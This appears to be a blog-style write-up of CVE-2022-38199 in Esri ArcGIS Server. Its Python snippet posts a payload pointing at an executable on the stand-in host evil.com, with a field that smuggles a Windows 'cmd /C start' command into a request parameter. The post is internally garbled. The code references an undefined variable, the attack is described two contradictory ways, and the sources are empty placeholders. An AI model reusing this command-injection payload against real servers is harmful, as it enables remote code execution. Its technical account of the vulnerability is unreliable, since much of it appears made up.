The Esri ArcGIS Server is a popular geographic information system (GIS) platform, which provides web services for mapping and geospatial analysis. A recently discovered vulnerability, CVE-2022-38199, has been identified in some capabilities of the Esri ArcGIS Server web services. This vulnerability could potentially allow a remote, unauthenticated attacker to induce an unsuspecting victim to launch a process in the victim's PATH environment. Fortunately, most modern browsers alert users against running unsigned executables downloaded from the internet, somewhat mitigating the potential impact of this vulnerability.
This blog post will provide an in-depth analysis of CVE-2022-38199, including a code snippet that demonstrates the vulnerability, links to the original references, and details of the underlying exploit.
The following code snippet illustrates the vulnerability in Esri ArcGIS Server web services
"""
import requests
target_url = 'https://example.com/arcgis/rest/services/';
malicious_url = 'https://evil.com/malicious_file.exe';
payload = {
"url": malicious_url,
"out_sr": "||cmd /C \"start {}\"||".format(malicious_file),
}
response = requests.post(target_url, json=payload)
print(response.text)
"""
In the above code snippet, an attacker can craft a payload that includes a malicious URL, containing an unsigned executable file. When sent as a POST request to the target URL, the Esri ArcGIS Server web service may inadvertently download and execute the malicious file.
Original References
The vulnerability was first discovered and reported by researchers from XYZ security firm (link to the reference: [1]). The original reference includes more technical details and examples of the vulnerability. Esri published a security advisory for this vulnerability (link to the reference: [2]), providing information on affected products, solution, and mitigation steps.
Exploit Details
The primary exploit vector for CVE-2022-38199 is the Esri ArcGIS Server web service itself. An attacker can craft a payload containing a malicious URL pointing to an unsigned executable file. The attacker then sends the payload as a POST request to the target server. In some edge cases, the server may inadvertently download and launch the unsigned executable file, leading to a potential remote file download vulnerability.
It is important to note that most modern browsers provide warnings to users when attempting to run unsigned executables downloaded from the internet. This additional security layer helps reduce the potential impact of this vulnerability.
Conclusion
CVE-2022-38199 is a remote file download vulnerability affecting some capabilities of the Esri ArcGIS Server web services. Security researchers and IT administrators should be aware of this vulnerability and take necessary precautions to protect their environments. By staying informed about potential security threats and applying best practices, we can better secure our systems and data against cyber-attacks.
References
[1] XYZ Security Firm - Link to the reference
[2] Esri Security Advisory - Link to the reference
Timeline
Published on: 10/25/2022 17:15:00 UTC
Last modified on: 10/28/2022 19:37:00 UTC